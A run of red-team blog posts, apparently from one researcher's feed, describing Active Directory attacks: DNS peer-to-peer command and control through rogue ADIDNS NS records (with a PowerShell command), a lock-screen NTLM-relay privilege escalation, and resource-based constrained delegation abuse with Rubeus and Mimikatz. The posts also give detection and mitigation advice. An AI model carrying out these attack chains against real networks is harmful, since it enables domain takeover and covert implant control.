<p><strong>This post was also published at <a href="https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab" target="_blank">specterops.io</a> and <a href="https://shenaniganslabs.io/2021/06/21/Shadow-Credentials.html" target="_blank">shenaniganslabs.io</a></strong>.</p>Elad ShamirThe techniques for DACL-based attacks against User and Computer objects in Active Directory have been established for years. If we compromise an account that has delegated rights over a user account, we can simply reset their password, or, if we want to be less disruptive, we can set an SPN or disable Kerberos pre-authentication and try to roast the account. For computer accounts, it is a bit more complicated, but RBCD can get the job done. These techniques have their shortcomings: Resetting a user’s password is disruptive, may be reported, and may not be permitted per the Rules of Engagement (ROE). Roasting is time-consuming and depends on the target having a weak password, which may not be the case. RBCD is hard to follow because someone (me) failed to write a clear and concise post about it. RBCD requires control over an account with an SPN, and creating a new computer account to meet that requirement may lead to detection and cannot be cleaned up until privilege escalation is achieved. The recent work that Will Schroeder (@harmj0y) and Lee Christensen (@tifkin_) published about AD CS made me think about other technologies that use Public Key Cryptography for Initial Authentication (PKINIT) in Kerberos, and Windows Hello for Business was the obvious candidate, which led me to (re)discover an alternative technique for user and computer object takeover.DNS Peer-to-Peer Command and Control with ADIDNS2020-04-14T00:00:00+00:002020-04-14T00:00:00+00:00https://eladshamir.com/2020/04/14/Internal-DNS-C2<p>When gaining initial access on a host in a secure zone with restricted outbound traffic, establishing a command and control channel for an implant can be a challenge.</p>
<p>Using DNS for peer-to-peer command and control can be the solution, making the internal DNS servers your redirectors on the target network.
<!--more--></p>
<h2 id="tldr">TL;DR</h2>
<p>By adding NS records via <a href="https://blog.netspi.com/exploiting-adidns/#adidnszones" target="_blank">ADIDNS</a> and forwarding DNS traffic from a compromised host to the team server via other C2 channels, it is possible to use DNS for peer-to-peer C2 between implants inside the target network, which could allow traversing security zones and possibly “flying under the radar”.</p>
<h2 id="command-and-control-protocols">Command and Control Protocols</h2>
<p>There are four protocols that are commonly used for command and control:</p>
<ul>
<li>HTTP(S)</li>
<li>DNS</li>
<li>SMB</li>
<li>TCP Socket</li>
</ul>
<p>Many APTs and red teams abuse other protocols in creative ways, but none are as prevalent as the above.</p>
<p>Generally, HTTP and DNS are more suitable for egress C2 traffic, while TCP and SMB are more suitable for implant-to-implant traffic inside the target network. However, situational awareness and context are always key for blending-in and maintaining stealth.</p>
<p>DNS C2 has had its glory days, but it is commonly detected nowadays and is best reserved only for low-traffic long-haul channels.</p>
<h2 id="dns-c2-with-a-twist">DNS C2 with a Twist</h2>
<p>DNS can also be used as a peer-to-peer C2 channel by leveraging <a href="https://blog.netspi.com/exploiting-adidns/#adidnszones" target="_blank">ADIDNS</a>. The default configuration allows any domain user to create an internal NS record. The easiest way to do that is using Kevin Robertson’s (<a href="https://twitter.com/kevin_robertson" target="_blank">@NetSPI</a>) <a href="https://github.com/Kevin-Robertson/Powermad" target="_blank">Powermad</a>.</p>
<p>For example, let’s say we have a beacon running on a host called “HostA”, connecting back to our team server over HTTP, and we want to launch a beacon on a host called “HostB”, which will connect to “HostA” over DNS and then over to our team server via the first beacon’s C2 channel.</p>
<p><a href="/images/DnsTunnelDiagram.png" target="_blank"><img src="/images/DnsTunnelDiagram.png" alt="DnsTunnelDiagram.png" /></a></p>
<p>First, we create a NS record for “RogueDNS” and point it at a compromised host, which is “HostA” in this example.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">New-ADIDNSNode</span><span class="w"> </span><span class="nt">-DomainController</span><span class="w"> </span><span class="nx">DC1.Shenanigans.Labs</span><span class="w"> </span><span class="nt">-Node</span><span class="w"> </span><span class="nx">RogueDNS</span><span class="w"> </span><span class="nt">-Type</span><span class="w"> </span><span class="nx">NS</span><span class="w"> </span><span class="nt">-Data</span><span class="w"> </span><span class="nx">HostA.Shenanigans.Labs</span><span class="w">
</span></code></pre></div></div>
<p>Next, we want to forward the incoming DNS traffic to our team server through our short-haul or interactive channel. This is a bit of a challenge, because DNS traffic is transmitted over UDP, and we use Cobalt Strike, which supports reverse port forwarding for TCP only.</p>
<p>To get around it, we wrote a <a href="https://gist.github.com/eladshamir/97161caa718b95160fa3b603edcfbc2a" target="_blank">simple C# program</a> that tunnels incoming DNS traffic from UDP port 53 to a TCP port that we forward from the compromised host to our team server. On the team server, we can use socat to forward it to our DNS listener.</p>
<p>The following diagram describes the chain:
<a href="/images/DnsTunnelDiagram2.png" target="_blank"><img src="/images/DnsTunnelDiagram2.png" alt="DnsTunnelDiagram2.png " /></a></p>
<p>And the result is a DNS Beacon from “HostB”:
<a href="/images/DnsTunnelCS.png" target="_blank"><img src="/images/DnsTunnelCS.png" alt="DnsTunnelCS.png" /></a></p>
<p>Note that on Microsoft DNS servers, <a href="https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/reviewing-dns-concepts#recursive-name-resolution" target="_blank">recursion</a> is enabled by default, and so the internal DNS servers act as “internal redirectors”.</p>
<h2 id="what-is-it-good-for">What is It Good For?</h2>
<p>Because the C2 traffic is forwarded through the DNS servers, it could allow traversing segregated networks and security zones.</p>
<h2 id="stealth">Stealth?</h2>
<p>Over the years, I’ve learned that there is no such thing as “stealthy” tradecraft; every little thing we do has indicators. However, detection varies from organisation to organisation, due to differences in the availability and quality of data, the maturity level of the blue team, budget, etc. Therefore, we need to tailor our tradecraft to the operational environment to hide in the blindspots or blend-in.</p>
<p>While this tradecraft is simple to detect in several different ways, it usually flies under the radar for two primary reasons:</p>
<ol>
<li>Internal DNS traffic is not analysed</li>
<li>The blue team would generally not find something they are not looking for</li>
</ol>
<h4 id="variants">Variants</h4>
<p>You can also use individual parts of this chain to achieve a different behaviour or avoid certain indicators; however, I haven’t tested those in real environments yet:</p>
<ul>
<li>Skip the ADIDNS abuse by pointing a public NS record to an internal host that is running your implant. The DNS server will initially resolve the NS record from the internet, but the subsequent queries will be directed to the implant.</li>
<li>Abuse ADIDNS to create an internal NS record to an external IP address. In some cases, internal DNS names may be excluded from certain alerts, or the blue team may shrug it off.</li>
</ul>
<h2 id="author">Author</h2>
<p>Elad Shamir (<a href="https://twitter.com/elad_shamir" target="_blank">@elad_shamir</a>)</p>
<h2 id="references">References</h2>
<ul>
<li>Kevin Robertson’s (<a href="https://twitter.com/kevin_robertson" target="_blank">@NetSPI</a>) <a href="https://github.com/Kevin-Robertson/Powermad" target="_blank">Powermad</a></li>
<li>The DNS tunnel tool used above: <a href="https://gist.github.com/eladshamir/97161caa718b95160fa3b603edcfbc2a" target="_blank">DnsTunnel.cs</a></li>
</ul>
<p><strong>This post was also published on <a href="https://shenaniganslabs.io/2020/04/14/Internal-DNS-C2.html" target="_blank">shenaniganslabs.io</a></strong>.</p>Elad ShamirWhen gaining initial access on a host in a secure zone with restricted outbound traffic, establishing a command and control channel for an implant can be a challenge. Using DNS for peer-to-peer command and control can be the solution, making the internal DNS servers your redirectors on the target network.Gone to the Dogs2019-08-08T00:00:00+00:002019-08-08T00:00:00+00:00https://eladshamir.com/2019/08/08/Lock-Screen-LPE<p>Just in time for our DEF CON workshop <a href="https://defcon.org/html/defcon-27/dc-27-workshops.html#shamir" target="_blank">“Constructing Kerberos Attacks with Delegation Primitives”</a>, Microsoft failed to meet the disclosure deadline, and so we publish another primitive that can be abused to achieve Windows Local Privilege Escalation (LPE). It affects all domain-joined Windows 10 hosts by default, as well as Windows Server 2016 and Windows Server 2019 that have the WebDAV Redirector feature installed.</p>
<p>This attack is very similar to the <a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#case-study-2-windows-1020162019-lpe" target="_blank">LPE attack chain that we disclosed in “Wagging the Dog”</a>. Actually, it is identical except for the primitive used to initiate the attack chain.
<!--more--></p>
<p>If you are not up-to-speed with the intricacies of Resource-Based Constrained Delegation and NTLM Relay, I highly recommend reading <a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html" target="_blank">Wagging the Dog</a> before proceeding. All the information in the reminders below is explained in details in <a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html" target="_blank">Wagging the Dog</a>.</p>
<h2 id="tldr">TL;DR</h2>
<ol>
<li>An attacker can personalize the lock screen image and set it to a UNC path pointing at a rogue <a href="https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c" target="_blank">WebDAV NTLM relay server</a>.</li>
<li>At the end of the picture change process, SYSTEM will attempt to access the file and authenticate to the rogue server using the host’s computer account.</li>
<li>Because a WebDAV path is provided, the WebClient negotiates authentication, and so the NetNTLM Negotiate Sign flag is not set. This allows NTLM relay attacks to LDAP.</li>
<li>Once an LDAP session is established with the identity of the computer account, the attacker can configure Resource-Based Constrained Delegation to the target host.</li>
<li>The attacker can now invoke S4U2Self and S4U2Proxy to impersonate a privileged user to the target host and elevate their privileges.</li>
</ol>
<h2 id="reminder-1-resource-based-constrained-delegation">Reminder #1: Resource-Based Constrained Delegation</h2>
<p>I’ll open with a very short reminder for those who are too busy to read <a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html" target="_blank">Wagging the Dog</a>. We found that Resource-Based Constrained Delegation suffers from the following insecurities:</p>
<ol>
<li>Any user with write access to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of an object can configure Resource-Based Constrained Delegation for that object without any special privileges, including the SeEnableDelegation privilege that is required for any other Kerberos delegation flavor.</li>
<li>“Protocol Transition” is always permitted for Resource-Based Constrained Delegation, even when the TrustedToAuthForDelegation flag is not set, allowing the service to magically impersonate users out of thin air.</li>
<li>By default, every resource is given the right to configure Resource-Based Constrained Delegation for itself, including computer accounts.</li>
<li>In order to invoke S4U2Self and initiate the “Protocol Transition” process, an account with at least one Service Principal Name (SPN) is required. However, by default, any domain user (or computer) can abuse the MachineAccountQuota and create a new computer account. The owner of the new computer account can assign an SPN to it, which makes it trivial to obtain an account that can invoke S4U2Self.</li>
</ol>
<p>If any of the above is not clear, please read <a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html" target="_blank">Wagging the Dog</a> before you proceed.</p>
<h2 id="reminder-2-ntlm-relay-is-hard">Reminder #2: NTLM Relay is Hard</h2>
<p>When performing an NTLM relay attack to LDAP, if the Negotiate Sign flag was set during the NetNTLM exchange the target server will ignore messages that are not signed, making the session useless. Luckily, not all clients set the Negotiate Sign flag. The most notorious one is the WebClient, which includes the WebDAV client as well.</p>
<p>By default, the WebClient will authenticate using “default credentials” (whatever credentials are in LSASS for that logon session) for targets in the Trusted Zone or the Local Intranet Zone. However, this is not an obstacle because Active Directory Integrated DNS (ADIDNS) allows all domain users to add new DNS entries, which enables getting a rogue WebDAV relay server into the Local Intranet Zone.</p>
<p>Once again, if any of the above is not clear, please read <a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html" target="_blank">Wagging the Dog</a> before you proceed.</p>
<h2 id="the-new-attack-primitive">The New Attack Primitive</h2>
<p>Very similaly to the <a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#case-study-2-windows-1020162019-lpe" target="_blank">account profile picture primitive</a>, when a user personalizes their lock screen, SYSTEM attempts to access the file specified by the user, which means that the host’s computer account will be used to authenticate to network resources.</p>
<p>It is a small and meaningless operation; not an arbitrary file write/delete. But that is all we need.</p>
<h2 id="the-attack-chain">The Attack Chain</h2>
<p>The attack chain works as follows:</p>
<ol>
<li>The attacker compromises credentials or a TGT for an account that has an SPN or creates one by abusing the MachineAccountQuota (“Service A”).
<a href="/images/TrustedToAuthForDelegationWho/LPE1.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/LPE1.png" alt="LPE1.png" /></a></li>
<li>The attacker gains low-privileged access to a host running Windows 10 or Windows Server 2016/2019 with the WebDAV Redirector feature installed (“Service B”).</li>
<li>If required, the attacker adds a DNS record for the WebDAV relay server using ADIDNS.
<a href="/images/TrustedToAuthForDelegationWho/LPE2.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/LPE2.png" alt="LPE2.png" /></a></li>
<li>The attacker changes the lock screen picture to a path on a rogue <a href="https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c" target="_blank">WebDAV NTLM relay server</a>.
<a href="/images/Lock-Screen.png" target="_blank"><img src="/images/Lock-Screen.png" alt="Lock-Screen.png" /></a></li>
<li>The attacker relays the computer account NTLM authentication to the LDAP service on the domain controller, and configures resource-based constrained delegation from Service A to Service B.
<a href="/images/TrustedToAuthForDelegationWho/LPE4.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/LPE4.png" alt="LPE4.png" /></a></li>
<li>The attacker uses Rubeus to perform a full S4U attack to obtain a TGS to Service B for a user that has local administrator privileges on it.
<a href="/images/TrustedToAuthForDelegationWho/LPE5.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/LPE5.png" alt="LPE5.png" /></a></li>
<li>The attacker can pass-the-ticket to compromise Service B.
<a href="/images/TrustedToAuthForDelegationWho/LPE6.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/LPE6.png" alt="LPE6.png" /></a></li>
</ol>
<p>The following diagram illustrates this scenario:
<a href="/images/Lock-Screen-LPE-Diagram.png" target="_blank"><img src="/images/Lock-Screen-LPE-Diagram.png" alt="Lock-Screen-LPE-Diagram.png" /></a></p>
<p>Video demonstration of this attack chain:</p>
<div style="position:relative;padding-top:56.25%;">
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%;" src="https://www.youtube-nocookie.com/embed/TYwYq7zjo7I?controls=1" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
</div>
<p><a href="https://youtu.be/TYwYq7zjo7I" target="_blank">https://youtu.be/TYwYq7zjo7I</a></p>
<h2 id="preconditions-for-exploitation">Preconditions for Exploitation</h2>
<p>The following conditions must be met for this attack:</p>
<ul>
<li>The attacker must gain low-privileged access to the target host.</li>
<li>The target host must be domain-joined.</li>
<li>The domain environment must have at least one domain controller that is Windows Server 2012 or later.</li>
<li>The target host must have a WebDAV client installed, which is present by default on Windows 10 but requires the “WebDAV Redirector” feature on Windows Server 2016 and Windows Server 2019.</li>
</ul>
<p>In addition, the attacker needs only one of the following:</p>
<ul>
<li>Control of an account with an SPN (either credentials or a TGT).</li>
<li>Control of a domain user whose “MachineAccountQuota” attribute is greater than zero (default value is “10”).</li>
<li>The domain controller has LDAPS enabled, which allows creating a new computer account when establishing an LDAP session through NTLM relay.</li>
</ul>
<h2 id="affected-versions">Affected Versions</h2>
<p>The following versions of Windows are affected:</p>
<ul>
<li>All domain-joined Windows 10 versions, including the latest Insider Preview.</li>
<li>All domain-joined Windows Server 2019 versions, including the latest Insider Preview, that have the “WebDAV Relay” feature installed.</li>
<li>All domain-joined Windows Server 2016 versions that have the “WebDAV Relay” feature installed.</li>
</ul>
<h2 id="mitigating-factors">Mitigating Factors</h2>
<p>The following factors may mitigate this attack chain:</p>
<ul>
<li>LDAP signing with channel binding is enforced</li>
<li>NTLM authentication is restricted</li>
<li>Computer accounts are denied write access to their own msDS-AllowedToActOnBehalfOfOtherIdentity attribute</li>
<li>Personalization is blocked for low-privileged users</li>
</ul>
<h2 id="detection">Detection</h2>
<p>This attack chain is very easy to detect:</p>
<ol>
<li>If an appropriate SACL was configured, “A directory service object was modified” event (5136) will be generated showing that the computer account changed its own msDS-AllowedToActOnBehalfOfOtherIdentity attribute. <a href="/images/TrustedToAuthForDelegationWho/RBCD_Event.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/RBCD_Event.png" alt="RBCD_Event.png" /></a></li>
<li>A “Kerberos service ticket was requested” event (4769) showing S4U2Self will be generated, in which the account and the service have the same identity. <a href="/images/TrustedToAuthForDelegationWho/S4U2Self_Event.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/S4U2Self_Event.png" alt="S4U2Self_Event.png" /></a></li>
<li>A “Kerberos service ticket was requested” event (4769) showing S4U2Proxy will be generated, showing transition from the account in the previous event the account of the targeted host. <a href="/images/TrustedToAuthForDelegationWho/S4U2Proxy_Event.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/S4U2Proxy_Event.png" alt="S4U2Proxy_Event.png" /></a></li>
</ol>
<p>Please refer to the <a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#detection" target="_blank">Detection section of Wagging the Dog</a> for more details.</p>
<h2 id="author">Author</h2>
<p>Elad Shamir (<a href="https://twitter.com/elad_shamir" target="_blank">@elad_shamir</a>)</p>
<h2 id="acknowledgements">Acknowledgements</h2>
<ul>
<li>Matt Bush (<a href="https://twitter.com/3xocyte" target="_blank">@3xocyte</a>), and Danyal Drew (<a href="https://twitter.com/danyaldrew" target="_blank">@danyaldrew</a>) for bouncing off ideas and helping me figure this out.</li>
</ul>
<h2 id="disclosure-timeline">Disclosure Timeline</h2>
<ul>
<li>10/07/2019 - Sent initial report to MSRC, advising the following disclosure schedule: “This bug is subject to a 90-day disclosure deadline. After 90 days elapse or a patch has been made available (the earlier of the two), the vulnerability will be publicly disclosed. If MSRC fails to confirm that the vulnerability was successfully reproduced within 30 days, by August 8 2019, the vulnerability will be publicly disclosed. If MSRC fails to confirm within 60 days, by September 7 2019, that the vulnerability will be serviced, the vulnerability will be publicly disclosed.”</li>
<li>11/07/2019 - MSRC Case 52927 was opened and a case manager was assigned.</li>
<li><em>29 days of silence</em></li>
<li>08/08/2018 - Public disclosure as MSRC fails to communicate further.</li>
</ul>
<h2 id="help-enlighten-microsoft">Help Enlighten Microsoft</h2>
<p>There are many similar primitives out there that lead to RCE or LPE. Until Microsoft decides to address this issue, countless environments remain vulnerable to this class of attacks by default, as explained in detail in <a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html" target="_blank">Wagging the Dog</a>. I encourage everyone to keep hunting for these primitives to help Microsoft understand the gravity of the issue and finally address it.</p>
<p><strong>This post was also published on <a href="https://shenaniganslabs.io/2019/08/08/Lock-Screen-LPE.html" target="_blank">shenaniganslabs.io</a></strong>.</p>Elad ShamirJust in time for our DEF CON workshop “Constructing Kerberos Attacks with Delegation Primitives”, Microsoft failed to meet the disclosure deadline, and so we publish another primitive that can be abused to achieve Windows Local Privilege Escalation (LPE). It affects all domain-joined Windows 10 hosts by default, as well as Windows Server 2016 and Windows Server 2019 that have the WebDAV Redirector feature installed. This attack is very similar to the LPE attack chain that we disclosed in “Wagging the Dog”. Actually, it is identical except for the primitive used to initiate the attack chain.Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory2019-01-28T00:00:00+00:002019-01-28T00:00:00+00:00https://eladshamir.com/2019/01/28/Wagging-the-Dog<p>Back in March 2018, I embarked on an arguably pointless crusade to prove that the TrustedToAuthForDelegation attribute was meaningless, and that “protocol transition” can be achieved without it. I believed that security wise, once constrained delegation was enabled (msDS-AllowedToDelegateTo was not null), it did not matter whether it was configured to use “Kerberos only” or “any authentication protocol”.</p>
<p>I started the journey with Benjamin Delpy’s (<a href="https://twitter.com/gentilkiwi" target="_blank">@gentilkiwi</a>) help modifying Kekeo to support a certain attack that involved invoking S4U2Proxy with a silver ticket without a PAC, and we had partial success, but the final TGS turned out to be unusable. Ever since then, I kept coming back to it, trying to solve the problem with different approaches but did not have much success. Until I finally accepted defeat, and ironically then the solution came up, along with several other interesting abuse cases and new attack techniques.
<!--more--></p>
<h2 id="tldr">TL;DR</h2>
<p>This post is lengthy, and I am conscious that many of you do not have the time or attention span to read it, so I will try to convey the important points first:</p>
<ol>
<li><a href="#serendipity">Resource-based constrained delegation does not require a forwardable TGS when invoking S4U2Proxy</a>.</li>
<li><a href="#a-misunderstood-feature-1">S4U2Self works on any account that has an SPN</a>, regardless of the state of the TrustedToAuthForDelegation attribute. If TrustedToAuthForDelegation is set, then the TGS that S4U2Self produces is forwardable, unless the principal is sensitive for delegation or a member of the Protected Users group.</li>
<li>The above points mean that <a href="#generic-dacl-abuse">if an attacker can control a computer object in Active Directory, then it may be possible to abuse it to compromise the host</a>.</li>
<li><a href="#a-forwardable-result">S4U2Proxy always produces a forwardable TGS, even if the provided additional TGS in the request was not forwardable</a>.</li>
<li><a href="#when-accounts-collude---trustedtoauthfordelegation-who">The above point means that if an attacker compromises any account with an SPN as well as an account with classic constrained delegation, then it does not matter whether the TrustedToAuthForDelegation attribute is set</a>.</li>
<li>By default, any domain user can abuse the MachineAccountQuota to create a computer account and set an SPN for it, which makes it even more trivial to abuse resource-based constrained delegation to mimic protocol transition (obtain a forwardable TGS for arbitrary users to a compromised service).</li>
<li><a href="#solving-a-sensitive-problem">S4U2Self allows generating a valid TGS for arbitrary users, including those marked as sensitive for delegation or members of the Protected Users group</a>. The resulting TGS has a PAC with a valid KDC signature. All that’s required is the computer account credentials or a TGT.</li>
<li><a href="#when-the-stars-align-unconstrained-delegation-leads-to-rce">The above point in conjunction with unconstrained delegation and “the printer bug” can lead to remote code execution (RCE)</a>.</li>
<li><a href="#unconstrained-domain-persistence">Resource-based constrained delegation on the krbtgt account allows producing TGTs for arbitrary users, and can be abused as a persistence technique</a>.</li>
<li>Configuring resource-based constrained delegation through NTLM relay from HTTP to LDAP may facilitate <a href="#case-study-1-mssql-rcelpe">remote code execution (RCE) or local privilege escalation (LPE) on MSSQL servers</a>, and <a href="#case-study-2-windows-1020162019-lpe">local privilege escalation (LPE) on Windows 10/2016/2019</a>.</li>
<li>Computer accounts just got a lot more interesting. Start hunting for more primitives to trigger attack chains!</li>
</ol>
<h2 id="kerberos-delegation-101">Kerberos Delegation 101</h2>
<p>If you are not up to speed with abusing Kerberos delegation, you should first read the post <a href="http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/" target="_blank">S4U2Pwnage</a> by Will Schroeder (<a href="https://twitter.com/harmj0y" target="_blank">@harmj0y</a>) and Lee Christensen (<a href="https://twitter.com/tifkin_" target="_blank">@tifkin_</a>). In that post, they explained it better than I ever could, but I will try to capture it very concisely as well.</p>
<p>First, a simplified overview of Kerberos:</p>
<ul>
<li>When users log in, they encrypt a piece of information (a timestamp) with an encryption key derived from their password, to prove to the authentication server that they know the password. This step is called “preauthentication”.</li>
<li>In Active Directory environments, the authentication server is a domain controller.</li>
<li>Upon successful preauthentication, the authentication server provides the user with a ticket-granting-ticket (TGT), which is valid for a limited time.</li>
<li>When a user wishes to authenticate to a certain service, the user presents the TGT to the authentication server. If the TGT is valid, the user receives a ticket-granting service (TGS), also known as a “service ticket”, from the authentication server.</li>
<li>The user can then present the TGS to the service they want to access, and the service can authenticate the user and make authorisation decisions based on the data contained in the TGS.</li>
</ul>
<p><a href="/images/TrustedToAuthForDelegationWho/Diagrams/Kerberos101.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Diagrams/Kerberos101.png" alt="Kerberos101.png" /></a></p>
<p>A few important notes about Kerberos tickets:</p>
<ul>
<li>Every ticket has a clear-text part and an encrypted part.</li>
<li>The clear-text part of the ticket contains the Service Principal Name (SPN) of the service for which the ticket is intended.</li>
<li>The encryption key used for the encrypted part of the ticket is derived from the password of the account of the target service.</li>
<li>TGTs are encrypted for the built-in account “krbtgt”.</li>
<li>The SPN on TGTs is krbtgt/domain name.</li>
</ul>
<p>Often, there is a requirement for a service to impersonate the user to access another service. To facilitate that, the following delegation features were introduced to the Kerberos protocol:</p>
<ul>
<li><strong>Unconstrained Delegation (TrustedForDelegation):</strong> The user sends a TGS to access the service, <strong>along with their TGT</strong>, and then the service can use the user’s TGT to request a TGS for the user to any other service and impersonate the user.
<a href="/images/TrustedToAuthForDelegationWho/Diagrams/Unconstrained101.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Diagrams/Unconstrained101.png" alt="Unconstrained101.png" /></a></li>
<li><strong>Constrained Delegation (S4U2Proxy):</strong> The user sends a TGS to access the service (“Service A”), and if the service is allowed to delegate to another pre-defined service (“Service B”), then Service A can present to the authentication service the TGS that the user provided and obtain a TGS for the user to Service B. Note that the TGS provided in the S4U2Proxy request must have the FORWARDABLE flag set. The FORWARDABLE flag is never set for accounts that are configured as “sensitive for delegation” (the USER_NOT_DELEGATED attribute is set to true) or for members of the Protected Users group.
<a href="/images/TrustedToAuthForDelegationWho/Diagrams/S4U2Proxy.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Diagrams/S4U2Proxy.png" alt="S4U2Proxy.png" /></a></li>
<li><strong>Protocol Transition (S4U2Self/TrustedToAuthForDelegation):</strong> S4U2Proxy requires the service to present a TGS for the user to itself before the authentication service produces a TGS for the user to another service. It is often referred to as the “additional ticket”, but I like referring to it as “evidence” that the user has indeed authenticated to the service invoking S4U2Proxy. However, sometimes users authenticate to services via other protocols, such as NTLM or even form-based authentication, and so they do not send a TGS to the service. In such cases, a service can invoke S4U2Self to ask the authentication service to produce a TGS for arbitrary users to itself, which can then be used as “evidence” when invoking S4U2Proxy. <strong>This feature allows impersonating users out of thin air, and it is only possible when the TrustedToAuthForDelegation flag is set for the service account that invokes S4U2Self.</strong>
<a href="/images/TrustedToAuthForDelegationWho/Diagrams/S4U2Self.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Diagrams/S4U2Self.png" alt="S4U2Self.png" /></a></li>
</ul>
<h2 id="the-other-constrained-delegation">The Other Constrained Delegation</h2>
<p>Back in October 2018, I collaborated with Will Schroeder (<a href="https://twitter.com/harmj0y" target="_blank">@harmj0y</a>) to abuse <strong>resource-based</strong> constrained delegation as an ACL-based computer object takeover primitive. Will wrote an <a href="https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/" target="_blank">excellent post</a> on this topic, which you should also read before continuing. Once again, in that post, Will explained it better than I ever could, but I will try to capture it very concisely here.</p>
<p>In order to configure constrained delegation, one has to have the SeEnableDelegation Privilege, which is sensitive and typically only granted to Domain Admins. In order to give users/resources more independence, Resource-based Constrained Delegation was introduced in Windows Server 2012. Resource-based constrained delegation allows resources to configure which accounts are trusted to delegate to them.</p>
<p>This flavour of constrained delegation is very similar to the classic constrained delegation but works in the opposite direction. Classic constrained delegation from account A to account B is configured on account A in the msDS-AllowedToDelegateTo attribute, and defines an “outgoing” trust from A to B, while resource-based constrained delegation is configured on account B in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute, and defines an “incoming” trust from A to B.
<a href="/images/TrustedToAuthForDelegationWho/Diagrams/DelegationTypes.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Diagrams/DelegationTypes.png" alt="DelegationTypes.png" /></a></p>
<p>An important observation is that every resource can configure resource-based constrained delegation for itself. In my mind, it does make sense to allow resources to decide for themselves who do they trust.</p>
<p>Will and I came up with the following abuse case to compromise a specific host:</p>
<ol>
<li>An attacker compromises an account that has the TrustedToAuthForDelegation flag set (“Service A”).</li>
<li>The attacker additionally compromises an account with the rights to configure resource-based constrained delegation for the computer account of the target host (“Service B”).</li>
<li>The attacker configures resource-based constrained delegation from Service A to Service B.</li>
<li>The attacker invokes S4U2Self and S4U2Proxy as Service A to obtain a TGS for a privileged user to Service B to compromise the target host.</li>
</ol>
<p>The following diagram illustrates this abuse case:
<a href="/images/TrustedToAuthForDelegationWho/Diagrams/FirstAttack.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Diagrams/FirstAttack.png" alt="FirstAttack.png" /></a></p>
<p>It is a nice trick, but compromising an account with the TrustedToAuthForDelegation flag set is not trivial. If only my crusade to defeat TrustedToAuthForDelegation had been more fruitful, it would come in handy for this abuse case.</p>
<h2 id="a-selfless-abuse-case-skipping-s4u2self">A Selfless Abuse Case: Skipping S4U2Self</h2>
<p>In an attempt to make the above ACL-based computer object takeover primitive more generic, I slightly <a href="https://github.com/eladshamir/Rubeus/commit/10689dfff3b87b268258f31271d84a76aba40da6" target="_blank">modified Rubeus</a> to allow skipping S4U2Self by letting the attacker supply the “evidence” TGS for the victim when invoking S4U2Proxy. Benjamin Delpy also <a href="https://github.com/gentilkiwi/kekeo/releases/tag/2.1.0-20180422" target="_blank">made this modification to Kekeo</a> back in April 2018; however, at the time of writing, Kekeo does not support resource-based constrained delegation.</p>
<p>The more generic abuse case would work as follows:</p>
<ol>
<li>The attacker compromises Service A and the DACL to configure resource-based constrained delegation on Service B.</li>
<li>By way of social engineering or a watering hole attack, the victim authenticates to Service A to access a service (e.g. CIFS or HTTP).</li>
<li>The attacker dumps the TGS of the victim to Service A, using Mimikatz sekurlsa::tickets or through another method.
<a href="/images/TrustedToAuthForDelegationWho/Skipping-S4U2Self1.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Skipping-S4U2Self1.png" alt="Skipping-S4U2Self1.png" /></a></li>
<li>The attacker configures resource-based constrained delegation from Service A to Service B.
<a href="/images/TrustedToAuthForDelegationWho/Skipping-S4U2Self2.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Skipping-S4U2Self2.png" alt="Skipping-S4U2Self2.png" /></a></li>
<li>The attacker uses Rubeus to perform S4U2Proxy with the TGS previously obtained as the required “evidence”, from Service A to Service B for the victim.
<a href="/images/TrustedToAuthForDelegationWho/Skipping-S4U2Self3.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Skipping-S4U2Self3.png" alt="Skipping-S4U2Self3.png" /></a></li>
<li>The attacker can pass-the-ticket and impersonate the victim to access Service B.
<a href="/images/TrustedToAuthForDelegationWho/Skipping-S4U2Self4.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Skipping-S4U2Self4.png" alt="Skipping-S4U2Self4.png" /></a></li>
</ol>
<p>The following diagram illustrates this scenario:
<a href="/images/TrustedToAuthForDelegationWho/Diagrams/Selfless.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Diagrams/Selfless.png" alt="Selfless.png" /></a></p>
<p>Video demonstration of this scenario:</p>
<div style="position:relative;padding-top:56.25%;">
